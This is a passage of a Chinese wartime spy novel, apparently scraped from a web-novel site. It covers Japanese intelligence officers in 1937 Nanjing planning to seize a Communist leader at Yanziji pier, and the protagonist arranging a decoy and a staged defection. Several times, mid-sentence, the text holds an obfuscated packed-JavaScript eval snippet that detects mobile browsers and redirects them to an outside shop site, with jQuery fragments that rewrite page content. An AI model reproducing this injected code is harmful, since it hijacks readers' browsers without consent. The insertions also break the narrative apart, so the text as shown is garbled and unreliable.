黑木忽然觉得身心涌上莫名的累。 在审讯室和刘云雄的较量,虽然身体上没有剧烈的运动,但双方的对话也是一种暗战,言语间必须斟字酌句,据守和进攻交替进行,数轮回合下来,黑木竟有种虚脱的感觉。 而此时,川上麻衣的电话中又提到了南京城的第二部电台,对方竟嚣张到肆无忌惮,居然在大白天通联,哪里还把松机关的权威放在眼里? 但让黑木稍感欣慰的是川上带来的第二件消息——敌人有重要人物即将潜入南京!这可是抓捕敌人大鱼的极佳机会,这样的情报给黑木疲惫的心灵带来了无可替代的慰藉! 武内典狱长的办公室在二楼,晌午的阳光带着一丝丝暖意,从窗外毫无遮挡地倾泻进来。黑木下意识地把身子往阳光下移了移,换了一只手拿电话,将裸露在外已经渐凉的那只手插进了大衣口袋。 “特高课的情报可信吗?”黑木在电话里问川上。 “我的那位曾经的属下说情报确实可信!” “你是说敌人即将有大人物潜进南京城?”黑木没法相信如此重要的情报会被宪兵司令部的特高课获取,便在电话中再次求证川上。 “是的。”川上回答。 “这样的情报他们是怎么获得的?” “具体细节要当面询问特高课。” 黑木在电话里沉思片刻,即道:“你带上电讯股的稻田君,马上赶往宪兵司令部,我带上渡边小姐,我们在特高课会合。” …… 老虎桥监狱距离宪兵司令部只相隔了三四条街,黑木和渡边一行乘车赶到宪兵司令部时,川上他们还没有到。 黑木直奔特高课而去。 他要面见特高课的负责人,当面问询清楚,了解此件事的所有细节,然后再会同特高课相关人员开一次会,布置一下具体的行动计划。 这是黑木第一次来宪兵司令部特高课,两家军事单位级别根本不对等,这是黑木不屑于前来的主要原因,此外,如果不是方面军司令部有硬性规定,所有涉及到情报方面的工作统一由松机关牵头执行,或许,这两家单位甚至会老死不相往来。黑木不愿前来的第二个原因,则是这两家单位的隶属关系,特高课是宪兵司令部的下属机构,归根结底是属于陆军省的管辖范畴,而松机关不一样,则受命于大本营的参谋本部。 黑木等数人很快被带到了特高课,并被安排在了特高课的会议室。 带路的宪兵通知课长去了,黑木和渡边刚开始聊了一会儿,忽然听到门外有人喊“报告”。 声音有点熟,有似曾相识之感。 黑木站起,说道:“进来!” 一个一身戎装的年轻日本军官快步走进会议室。 那人径自向黑木走来,嘴里同时道:“将军,好久不见!” 黑木定睛一看,原来是吉田。 和他一起参与紫金山剿匪的吉田多江中队长。 黑木先是一愣,马上哈哈道:“怎么,吉田少佐高升了?” 吉田多江先是向黑木敬了个礼,然后握住黑木的手道:“欢迎将军的光临!” “吉田君什么时候调离了作战部队?” “昨天刚刚上任!” “吉田君怎么也对情报部门感起兴趣啦?” “这完全是拜将军所赐啊!” 黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259609|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木咦道:“此话从何说起?” 吉田笑着答道:“这要从上次和您一起参与剿匪说起,自从您拜会了我们的中岛将军后,中岛将军便更加重视起了情报工作,加上我稍通华语,就将我从步兵联队调到了特高课,所以怎么说都得谢谢将军,我这是名副其实的升官,我的前任川上麻衣课长可是官至中佐,他调到您的手下后,该职位就一直空缺,这不,直到今天才……”正说着,川上麻衣带着稻田勇直接闯进了会议室,吉田打量了川上一眼,犹犹豫豫问道:“阁下是?” “川上麻衣!”川上傲然答道,双眼打量着四周,眼神里充满着如同回到了娘家一样亲切。 “你就是川上中佐?特高课的前任课长?我让下属电告松机关,接电话的就是阁下?” “正是本人。”川上盯着吉田军服上的官阶看了一眼,扬了扬眉继续道:“阁下就是新任课长?” “本人吉田多江,请多指教!” 川上在黑木的下首找了个座位坐下,对吉田道:“你把相关情况向将军汇报一下吧!” 渡边雪奈插话道:“我们将军一直想知道你们情报的可靠性,你们的情报来源是?” “哦,原来是这事?”吉田把目光投向黑木,端了端身子说道:“这个情报来源于上海宪兵司令部特高课……” “怎么会这样?”渡边疑惑问道:“如此重大情报,上海宪兵司令部为何不报告松机关,而是通告给你们?要知道我们才是南京名副其实的情报机构……” “这不奇怪!”黑木脸上显出一丝愠怒,“人家属于陆军省,情报自然不愿与我们共享,当然优先系统内消化!” 这章没有结束,请点击下一页继续阅读! 第100章 有人找 林赤和曲思秋一起来到利民诊所。 钉子已经能够下地走动了。 钉子一见林赤,诉苦道:“我都快闷死了。” 林赤安慰道:“再忍忍吧,等你身体好了,有的是事做。” 钉子叹了口气,不再吱声。 “今天白天日本人将会派人常驻悦颜照相馆,在此办理良民证,你要小心些。”林赤叮嘱道。“这里我也不能待了,我等会去大华百货店,这两天匕首可能会前往接头,我让小曹照顾你,有什么事情让他通知我。” “你放心去吧,我会照顾好自己的。” 林赤驱车来到大华百货店,尽管太阳刚刚升上了树梢,但大华百货店已经开门营业了。 林赤停好车,隐隐看到店内董德奎忙碌的身影。 林赤走进去,董德奎正在盘点着数量有限的货品,抬头看是林赤,便放下手中的货物,拍拍手走近林赤,平静地道:“这么早?” “早起办了件事。” 董德奎递来一根烟,把柜台旁的一张椅子拉出,示意林赤坐下。自己也在林赤对面坐下。 董德奎凑近林赤,边给他点火边说道:“匕首出现了,已经和他接上了。” 林赤大奇,忙问:“什么时候的事?” “就在半个小时前。”董德奎两只手指夹着烟,猛吸一口,又道:“你走之后,我好好想了想,觉得你说得很有道理,匕首是我们目前唯一打进敌人内部的同志,作用不可小觑,也是我们的核心机密,我不敢懈怠,就决定在与匕首接上头前,由我一人看店,而且白天人多眼杂,早晚一定接头的理想时机,今天就特地起了个早,果然开门后不久,匕首就出现了。” “还顺利吗?” “相当顺利,我当时正在从仓库里搬出商品摆放上货架,背对大门,忽然就有人进来了,我没在意,只听到身后有人说:‘你这里有民国十三年的《西游记》售卖吗?’,我一惊,这不是接头暗号吗?就马上答道:‘只有元昌书局石印版。’他说:‘你们是原价售卖吗?’我说:‘现在世道乱,这种版本的书已停印了,我们涨价了百分之十。’他马上说:‘不贵,可以接受。’……就这样我们对接上了,他就是匕首,接上头后,他可高兴了……” 董德奎从柜台里取出那本《西游记》,递给林赤。 正是蜂鸟给他的那本民国十三年元昌书局石印版《西游记》。 林赤翻到78页,果见那张缺页已经补上,他比对了一下,撕开的痕迹竟然严丝合缝,丝毫不差,心中顿时踏实下来。 “他说什么了吗?”林赤问。 “他提出了一个要求,就是以后的情报交换只认我一人,其他的一概不认,除非对方出示这本书!” “情有可原,非常时期还是谨慎一些好,有这样的自我保护意识是好事。”林赤把书还给董德奎,补充说道:“这本书一定要妥善保管!” “是。”董德奎又想起来什么,说道:“他还提供了一件情报……” “什么情报?” “他问我们知不知道我们有位旅长被抓了……名字叫……刘云雄……咦,有这回事吗?”董德奎询问林赤。 林赤点点头,迫不及待问道:“是的,他叫刘云雄,87师260旅的旅长,他还说什么了?” “他说那位刘旅长现在被关押在老虎桥监狱甲区8号监房,问我们有没有营救计划,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259610|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问需不需要他做什么?” “太好了,这个消息太及时了!” “那我们打算营救吗?”董德奎追问。 “总要努力努力,否则如何向党国交待?又如何向校长交待?” 这个时候,林赤通过匕首获知了刘云雄关押地的讯息,对林赤来讲,仿佛是茫茫的黑夜发现了一盏明灯,顿时找到了前进的方向,自从和蜂鸟见面并得到他明确营救的指示后,林赤几天来一直在思索着营救方案,无奈好多计划都因关押地不详而无法深入,现在好了,刘云雄在老虎桥监狱甲区8号监房,他觉得有必要开始实施他的计划了,这个计划,在钟山大饭店他和锤子,以及蜂鸟三人曾细致地商议过,虽然蜂鸟疑虑重重,对他们的前途表现出强烈的担忧,但他在告辞蜂鸟前,蜂鸟同志紧握着林赤的手明确表态过,那就是给林赤他们足够空间自由发挥。 “新年同志,前途坎坷,多加保重!”这是蜂鸟最后送给林赤的一句话。 一根烟很快抽完,烟几乎烧到林赤的指尖,林赤还没有发现。 他一直低着头在思考着什么,不时摇头,不时颌首,脸色也忽阴忽晴。 林赤伸手向董德奎要烟,董德奎赶紧掏给他一支。 林赤埋怨地看了他一眼,不满说道:“董老板这么小气?把你兜里的烟全给我!” 董德奎干脆从香烟柜台里拿出一包,放到了林赤手里。 林赤还在思考着什么,也不拒绝,径自拆开抽出一根点上了,忽然想到了什么,对董德奎道:“你不要在我面前晃悠了,该忙啥忙啥去,不要管我,我捋捋思路。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第101章 十面埋伏 此时,日军宪兵司令部特高课会议室,黑木主持的会议还在如火如荼进行,饭点时间早就过了,他们甚至连午饭都还没来得及吃。 就在刚才,上海特高课的同僚又及时传来更具体的情报:此次即将潜入南京的是延安方面任命的江苏省委新的负责人,代号镰刀。 彼时,镰刀将会提着一只红漆木质行李箱从燕子矶码头一带乘船登岸,他的头上将戴着一顶灰色礼帽。 这位镰刀,将在日后全面负责南京和上海两地的对日斗争,并统一指挥两地情报战线的工作。 这是一条大鱼,大得令黑木热血沸腾,大得令黑木甚至可以忽略刘云雄的地位。 刘云雄只是国军的一名旅长,他对于国民政府来说,根本不稀罕,他们原来的黄埔军校和后来的南京中央陆军军官学校培养了数以千计的此类人才,几乎遍布军政各界!可是对于共党而言就不一样了,他们培养这样级别的人才可谓是呕心沥血,定会视为宝贝一样。正是介于这样的原因,如果成功捕获了镰刀,则对延安方面将是致命的打击,进而可能大伤他们的元气! 黑木对明天的抓捕行动志在必得! 这是黑木组建松机关后领导的第一次抓捕行动,现在抓捕对象已经明确,此人代号镰刀! 会议室的正前方,悬挂着一张巨型黑板。特高课的情报人员根据前期的踩点,用粉笔将燕子矶码头一带的地形地貌已毫无谬误地绘制在黑板上。 燕子矶,位于南京城北郊观音门外的直渎山上,因石峰突兀江上,三面临空,势如燕子展翅欲飞而得名。直渎山高40余米,南连江岸,另三面均被江水围绕,地势十分险要。矶下惊涛拍石,汹涌澎湃,是重要的长江渡口和军事重地。被称为万里长江第一矶。 清初康熙、乾隆二帝下江南时,均在此泊舟。矶顶有碑亭,亭中石碑下面有清乾隆帝书“燕子矶”,背面是他的题诗:夜晚登临,水月皓白,澄江如练。 就在明天,镰刀将从江对岸乘船于这一区域登临南京城。 会议进行到现在,黑木带领与会者归纳出了如下要点:一、燕子矶两侧一公里不到的缓岸是镰刀的泊船登岸区域;二、如今江面上船只凤毛麟角,只要靠岸的船只上具有镰刀特征的人,差不多就可以认定为嫌疑人;三、在燕子矶上,必须安排人员时刻观察江面,可及时发现嫌疑人并便于迅速采取应对措施;四、码头附近的所有路口,抓捕人员一律便衣,隐藏在民房和山坡上的树林中,一旦行动开始,即可收网,向中心合围。 在对于抓捕的问题上,一开始分成了两派,一派主张放长线钓大鱼,理由是镰刀的潜入一定有人接应,如果适当松手,通过跟踪、撒网等手段可以将其一网打尽;另一派完全持反对意见,认为风险太大,万一某一环节出现纰漏,必定酿成大错,再说,抓获了镰刀,说不定可以通过威逼利诱逼其就范,也能挖出他们的组织网络! 会议进行到最后,由黑木将军统一了意见,并进行了周密的部署。一、燕子矶码头附近的警戒力量不是加强而是立即减弱,以打消镰刀和接应者的戒心;二、镰刀出现后,必须选择最佳时机实施抓捕,一旦出现紧急意外,在有把握的前提下,可以击毙随行人员和接应者,但是镰刀一定要抓活的;三、燕子矶上,潜伏两名观察哨,只要确认了对方的身份,马上传递出信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259611|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,便于附近的埋伏人员早做准备;四、让工藤夕贵隐藏在附近的山上,应对突发状况…… …… 回到中山中路,林赤将车停在大华电影院门前,他看到照相馆前照例人山人海。 除此之外,在照相馆的大门口一侧,摆放着一张长条桌子,果然有日本人正在协同鼓楼区公所的工作人员现场给南京市民办理良民证。 “你先回照相馆,十分钟后把钱瑾余带到利民诊所,我在那里等他。”林赤吩咐曹响亮。 曹响亮下了车,不慌不忙地穿过大街,回到了悦颜照相馆。 林赤把车停在电影院门前,沿着大街走到利民诊所对面,再越过街道来到诊所。 曲思秋和陶楚歌正在给一位骨折病人固定夹板,池橙手拿绷带在一旁帮忙。 陶楚歌和池橙分别和林赤打了招呼。 “你回来了。”林赤进屋的时候,工作已接近尾声,曲思秋把扫尾工作留给了陶楚歌,立即迎了上来说道,接着在林赤耳边低语道:“老池捎话了,让我们三点钟去见他。” 林赤“嗯”了声。 上到二楼,钉子下了床,正坐在窗户前享受着从西方斜射进来的午后阳光。 “钱瑾余应该很熟吧?”林赤开门见山。 钉子愣了一下。 林赤继续道:“华帮抗战大队的小队长钱瑾余?” 钉子想起来了,脱口说道:“当然熟了,怎么啦?” “他现在就在照相馆,据说曲思冬让他来找我的,不知什么事。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第102章 狸猫换太子 林赤与钱瑾余以及钉子聊了很久,以至于忘记了曲思秋吩咐的事,直到曲思秋上楼来催。 林赤驾车,曲思秋一路指点路径,二人来到夫子庙。 林赤将车停下,曲思秋前面带路,来到一条幽深的小巷。 唐朝诗人刘禹锡笔下的乌衣巷。 曲径通幽的巷内,铺陈的青石板上已不见苔痕上阶绿、草色入帘青意境。 出了巷子,眼前忽然一亮,秀丽婉约的秦淮河横亘在二人眼前。 离池碧疆约定的下午三点刚刚过去几分钟。 朱雀桥边野草花,乌衣巷口夕阳斜。 早已寻觅不到昔日诗人笔下的朱雀桥,更看不到野草花,只是乌衣巷依旧,斜阳依旧。 物是人非,时过境迁。 此时残阳如血,刚烈中透出一丝凄婉。 曲思秋站在秦淮河边向两边张望片刻,立即拉起林赤的手沿着河边的石板路向西而去。 再西行一百多米,一座拱形石桥横跨秦淮河。曲思秋不假思索踏上岸堤的青石台阶向桥下而去。 桥下停泊着一叶乌篷船。 听到声响,船内探出一个脑袋,正是池碧疆。 林赤扶着曲思秋上了乌篷船,船上还有一人,面孔陌生,曲思秋竟也不识。 “这是老冒,自己同志。”池碧疆和曲思秋介绍道,然后又指着林赤对老冒道:“林赤,我刚刚和你说起过,是重庆方面的,就是他给我们提供了燕子矶码头的异况。” 老冒身材精悍,浓眉大眼,神色干练,一看便知行伍出身。 “我叫曲思秋,是池老师的学生。”曲思秋主动自我介绍。 林赤伸出手和老冒相握。老冒讶异道:“小兄弟如此年轻即有此担当,看来贵党人才辈出啊!” 林赤不想就这个话题费口舌,便对池碧疆直入主题,“你们采取了措施了吗?” 池碧疆眼神顿时忧郁起来,双手各出两只手指捏住了眼镜腿,向脸上贴近了少许,说道:“我和你一大早见面后,觉得事态严重,马上主动与我的上线取得了联系……” 林赤连忙打断:“你难道不是南京的负责人?” “我不是……” 林赤有些失望,“那这次行动你们谁负责指挥?你可以决策吗?你们在南京的力量强吗?”林赤一连抛出三个问题,这三个问题在他看来都是这次行动能否成功的关键。 池碧疆警惕地看了林赤一眼,林赤忙解释道:“你别误会,我没有想探听贵党机密的想法,我只是认为,既然鬼子已有所警觉,那这次行动必定风险重重,我需要成功的把握!” 老冒呵呵一笑,替池碧疆辩解道:“老池可以算得上是我党在南京的代理人,小兄弟权当这件事由我俩全权负责!” 林赤笑笑,“不好意思打断你了,老池您继续说。” “我从上线那里得到了一个不能再坏的消息,那就是镰刀……哦,这是我党的负责人的代号……镰刀已经启程了,并会在明天从燕子矶码头登陆!”池碧疆不无沮丧道。 林赤听后眉头紧锁。 “我们商议后,决定立即采取紧急措施加以弥补,这时上线给我提供了一个重要的信息,就是镰刀上一站是由分布在皖豫的我党的新四军某部护送的,于皖北一路辗转而来,并提供了他们电台的呼号,我不顾一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259612|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便用你带回的那部电台呼叫他们,但一直没有明确答复……看来我们只能眼睁睁地任凭镰刀同志深陷险境,却无能为力!” “你们有什么打算?” “不计牺牲、不计后果,不惜一切代价,确保镰刀同志万无一失!”池碧疆和老冒几乎异口同声,看来这之前他们已经统一了意见。 池碧疆话一道出,稍稍沉思片刻,一副毅然决然的样子道:“我们今天让思秋带话给你请你前来,主要还有些细节需要向你了解一下,另外,事态发展至此,我们已经无法管控,所以想取消林先生的援助,这件事本身就与林先生毫不相干,况且,一旦介入必会有生命危险,林先生古道热肠,心意我们领了,我和老冒向您表示真挚的谢意!” 池碧疆的这番话让林赤大感意外,但转念一想,这或许是其欲擒故纵之策,也不推辞,但脸上还是要装作一副诧异地样子。 “您是曲思秋介绍的,万一有了闪失,我们岂不是让思秋内疚一辈子?”说完,池碧疆看了曲思秋一眼。 这番话曲思秋也感到意外,内心一下子处于矛盾的夹击之中,池碧疆的一通话道理简单明了,句句在理,可是如果林赤贸然退出,不但泄密了党的机密,而且确确实实也增加了任务完成的难度,一时间无比纠结,无助了看了林赤一眼,希望林赤明确表态。 林赤却仿佛没看到她的目光,对池碧疆说道:“你需要了解哪方面的细节?” “你提供的这件情报的可信度,我想知道这个消息到底是谁告诉你的,如果方便的话,请林先生直言相告,我们判断后可以早下决心!” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第103章 明修栈道 林赤的一席话,语惊四座。 最先表现出异样的是老冒,他根本不相信自己的耳朵:“林先生的意思是用你们的人取代镰刀?” 池碧疆也觉着不可思议:“你要让你们的人身陷险境?” 然后两个人的思路合为一处,几乎同时问道:“为什么?” 林赤目光扫视二人,淡淡说道:“那你们有合适人选吗?” 这句话看似平淡无奇,却锋芒毕露,立即击中二人的软肋,尽管他们的心里依旧充满了疑问,一时间二人都缄口不言,但话外有音,似有影射他们朝中无人之意!最先表露不满地是老冒,行伍出身的他受不了林赤略带讥讽的奚落,倔强地回敬道:“林兄弟的好意我们心领,但归根结底这件事是我们分内事,我们不会给你添麻烦,还请放心……但是林兄弟的这主意不错,我们还是厚着颜面用上一用!” 林赤年轻气盛,知道自己随口说出的一句话伤了对方的自尊,他本意并未如此,只是想掩饰自己的真实意图。 池碧疆见状赶紧拉了拉老冒的衣襟,示意他稍安勿躁。 老冒火气渐消,散给林赤一根烟。 林赤点上,吸了一口,目光平视二人,说道:“实话实说了吧,我是觉得我们的内部有个人非常可疑,想利用这样的机会检验一下!” 这是个很充分的理由。 老冒已渐渐平息,关切问道:“怎么回事?” 林赤:“我们有个同志今天突然出现了,我总觉得这里面有蹊跷……” “哦,原来这样!”老冒自语道。 池碧疆略加思忖,不无担心道:“万一如你所说,他真存在问题,那岂不是引火烧身?” 林赤一副无所谓的样子,“我只负责给他布置任务,其它概不透露,明天一大早只管让他照做便可。再说,我们的目的是为真正的镰刀争取时间,让敌人误以为镰刀同志已经出现,从而放松对燕子矶码头一带的监视,调开敌人,为真正的镰刀的登陆扫清障碍!” 池碧疆依旧未能释疑,紧追不舍道:“退一万步讲,假如他被抓怎么办?” 林赤没有立即回答,话题一转说:“你们对目前抗战的形势有什么见解?” 老冒说道:“这可不是三言两语能够说清楚的……” 池碧疆接着道:“据我所知,当下国内持悲观情绪的不在少数……” 林赤猛吸一口烟,掀开船上的帘幔,将口中浓浓的烟气吐出船外,脑袋重新回到了船内。 “我是从战场上下来的,和鬼子正面接触过,我深有体会,无论是鬼子的单兵素质还是整体战斗力,都要远远优于我们!自九一八以来,日本突然挑起北大营战事,短短数月,就霸占我东北数省,我国民政府一直忍辱负重,总以为韬光养晦卧薪尝胆会等到实力壮大的一天,到时再一雪前耻,岂不知日本人也在发展,这些年来,他们通过在东北的苦心经营,发展农耕、掠夺资源,原本的不足已彻底改善,其发展速度大大超过我们,如今,我们只能望其项背!他们先是东北,然后华北,再到上海,乃至于如今的南京,步步蚕食、野心勃勃…… “鬼子一心想吞并我中华,我们已失去最好的时机,国破家亡已无法避免,所以我认为和鬼子要做好长期战斗的准备,逞强好勇和悲观厌战都是两种极端……情报战线也是敌我斗争的必要组成部分,同样,这条战线上,我们也必须做好长期斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钉子的身体远远没有痊愈,而林赤急于将他转移出利民诊所,托付给了锤子,就是要切断钱瑾余和组织中更多人的联系。 他不能让他的计划殃及无辜的人员。 他承认,这项计划,目前还有漏洞,但时间紧迫,已无法有效弥补。 告别了锤子和钉子,林赤立即驱车行驶在返回诊所的路上。 下午见到钱瑾余后,林赤便将计划的大概说给他听,现在,他急于再次回到诊所,将所有的细节和他所知的一切详细告知,并嘱咐他牢牢记住。 这项计划的发端和灵感,来自于早晨在大华百货店的近三个小时的冥思苦想,他几乎抽掉了一整包香烟,才把这个计划捋了清楚。 当时,钱瑾余尚未出现,万事俱备,只欠东风,直到钱瑾余的出现,他才灵光乍现。当然,让钱瑾余去冒充共党的江苏省委负责人确实牵强,首先,钱瑾余三十不到,年龄上存在差距,但林赤转念一想,共党方面,年轻的能人有的是,听说,三十岁不到就有人当上了军团长,何况一个区区的省委负责人呢?其次,那就是钱瑾余对共党的相关信息知之甚少,这一点,林赤也无法现身说教,因为就算他本人,或者锤子等都不可能说出个所以然来,那个党派,在他们心中永远是神秘多于一切!但这也不是问题的关键,林赤并不准备让钱瑾余一直冒充镰刀下去,这并不是他计划的一部分…… 不知不觉,已回到诊所。 华灯初上,夜色弥漫。 诊所里的一众人已经做好了出发的准备。陶楚歌一见林赤便兴高采烈说道:“你总算回来了,估计我爷爷他们已经等得不耐烦了!” 林赤故意客气一下,说道:“我们这么多人到你家,会不会太麻烦……” 陶楚歌以为林赤会中途变卦,一言未发就拉起林赤往外走去。 林赤笑着挣脱开,正色道:“今晚的宴会,我想带一人去!” 陶楚歌回头看了一眼钱瑾余,满不在乎地说道:“你是说这位钱大哥吧?”说着再次将林赤往门外推,边推边说:“没问题,你是我爷爷的客人,你想带谁就谁!” 林赤朝钱瑾余招招手,“咱们出发!” 林赤其实本不想带钱瑾余参加这样的聚会,不想让他见到太多不相干的人,以免节外生枝,但一想起天亮之后,他将奔赴一个完全陌生的战场,那个战场,他没有战友,只有敌人;没有和平,只有斗争;没有苟且,只有一往无前……所有的一切只能依靠自己,并凭借自己的智慧在严酷的环境中求得生存……想到这些,林赤的内心涌上一股悲凉,是的,在出发前夜,他必须为他送行,必须给予他鼓励,必须给他一些温暖! 林赤给他的指示,就是诈降,没有第二条选择! 这样的诈降,并不是如同小孩过家家一样,一方对另一方说,我打不过你,我投降! 这样的诈降,必须心甘情愿接受对方考验! 这样的诈降,角色代入感必须完全逼真,不能有丝毫的瑕疵! 一个没有太多利用价值的对象,他的投降本身就没有太多实质性的意义,所以他的诈降除了风险,还是风险,敌人一旦产生怀疑,且当这怀疑需要相当大的论证成本,敌人就可能失去了耐心,宁可错杀也在所不惜。 除非,投敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259614|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人有很大的利用空间,即使其行为十分可疑,但只要没有确凿证据,敌人一般也不会断然采用极端手段。此乃钱瑾余诈降的风险,这一点林赤内心比谁都清楚。 这也就是李飞(即后来化名的李泉)和钱瑾余的区别。 李飞通过提供的关于密码本的情报,很快获得了日本人的重用! 尽管这本密码最终没有落入敌人之手,但这件事对李飞起到了一个极好的佐证:他是真心投靠皇军的! 谁会把自己组织核心的电台密码——如此高规格的情报泄露出去呢? 故而,这就是林赤为何会利用镰刀潜入的机会,千方百计让钱瑾余和共党的江苏省委的一号首长搭上关系的原因。 他要让敌人觉得钱瑾余是一条大鱼,这样就间接地保护了他的性命,接下来的发挥,只能靠他自己了。 林赤准备了一份礼物,让钱瑾余献给日本人,这份礼物,足以让日本人对钱瑾余深信不疑! 今夜,1937年的最后一天,在钱瑾余征战前夜,他要与他把酒尽欢! 陶府灯火通明,人声鼎沸。 新年宴会,即将在陶府的客厅举行。 一张直径五米的柞木圆桌,居中摆放。即使这样一张餐桌,也可见主人尊贵的身份,这个餐桌桌面,均是采用整块的木料,没有镶嵌任何边角料。餐桌上,摆满了菜肴和种类繁多的酒品,单说酒水一项,就有红酒、白酒、黄酒和米酒四种,菜品更是有二十多道之多。 所有的来客已经入座。 林赤一行的到来,立即引来一帮人纷纷立身。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第105章 跨年之夜 天下没有不散的筵席,夜未央,人归去。 该走的走了,该留下的留了,陶府渐渐冷清起来。 这注定是个难眠之夜。 起码,对于林赤而言如此,在新年的第一天,他将亲手把他呕心沥血制定的计划送上滚滚前进的轨道,从此再无回头的可能。 起码,对于钱瑾余如此,在新年第一天,他将披上伪装的外衣,怀着不安的心情,从此在另外的一片天空或悲或喜。 起码,对于曲思秋如此,在新年的第一天,她将第一次体味企盼爱人平安回归的煎熬,从此有了魂牵梦绕的牵挂。 起码,对于松机关行动队队长渡边雪奈如此,在新年的第一天,她将集中领导松机关和特高课的两支队伍,对即将入城的共党首长镰刀实施抓捕,从此,开启了她真正意义上喋血的一生。 种种迹象表明,新年的第一天,将会是这一年中最不平凡的开端。 林赤并未选择在陶府就寝,而是载着钱瑾余和曲思秋回到了诊所,临走前,他从床底下取出了他的那支毛瑟98K狙击步枪,悄悄地放进了车里。 曲思秋本应在陶府和陶楚歌一道入睡,可是她死活要跟着林赤回诊所。林赤开始不同意,曲思秋就在他的耳畔耳语一番。 曲思秋说,你明明答应单独陪我辞旧迎新,又怎能出尔反尔? 三人回到利民诊所,已经接近夜间十点。曲思秋安排钱瑾余睡在二楼钉子原先的那张床上,林赤跟着钱瑾余上了二楼,将自己的一些想法和思路说与他听了,两人再一起回顾了一些细节,直到林赤觉得该交代的已经交代清楚,这才下了楼。 一楼里间的灯光居然还亮着,曲思秋听到林赤下楼的声音,推开门探出脑袋问道:“你忙完了吗?” 林赤道:“你怎么还没睡?” 曲思秋有些不高兴地说道:“不是和你说好的吗,难道你想耍赖?” 林赤这才想起曾经的应诺,抬手看表,时针已指向十一点,便劝慰道:“时间不早了,还是洗洗睡吧。” 曲思秋不干了,冲出房间就拽住了林赤,“大丈夫一言既出,可不许反悔!” 林赤这才发现曲思秋依旧装着整齐,全然没有睡觉的意思,一直在楼下等着他。 “不就是想聊会天吗,咱们聊吧。”林赤坐在问诊台旁的一张椅子上,似笑非笑地看着曲思秋。 “我想出去和你走走。” “外面又黑又冷,到处都是冤死的孤魂野鬼,难道你就不怕?”林赤恫吓道。 曲思秋条件反射地哆嗦了一下,脸色微微变白,但很快就恢复过来,故作镇定地抢白道:“我才不怕呢,他们又不会找我们,害死他们的是日本人,冤有头债有主,他们这么点是非还是分得清楚的!再说,我是和你在一起,就是有厉鬼也有你保护我哩!” 曲思秋关上灯,拉着林赤来到门外。 此时,街道上空无一人,诊所旁边的路灯昏暗,在黑色的挤压下显得昏黄无力。 一阵冷风袭来,林赤的酒意全消,困意也一下子全无。 “难道,我们就一直在街上这样走下去?你就不怕真的撞到鬼?” 曲思秋立即牵起林赤的手,紧紧地依偎在他的身旁,轻轻说道:“我现在不怕了。”向前走了几步,她接着说道:“我就是想和你多待一会!” 她的话很轻,让林赤忽然荡气回肠的感觉。< 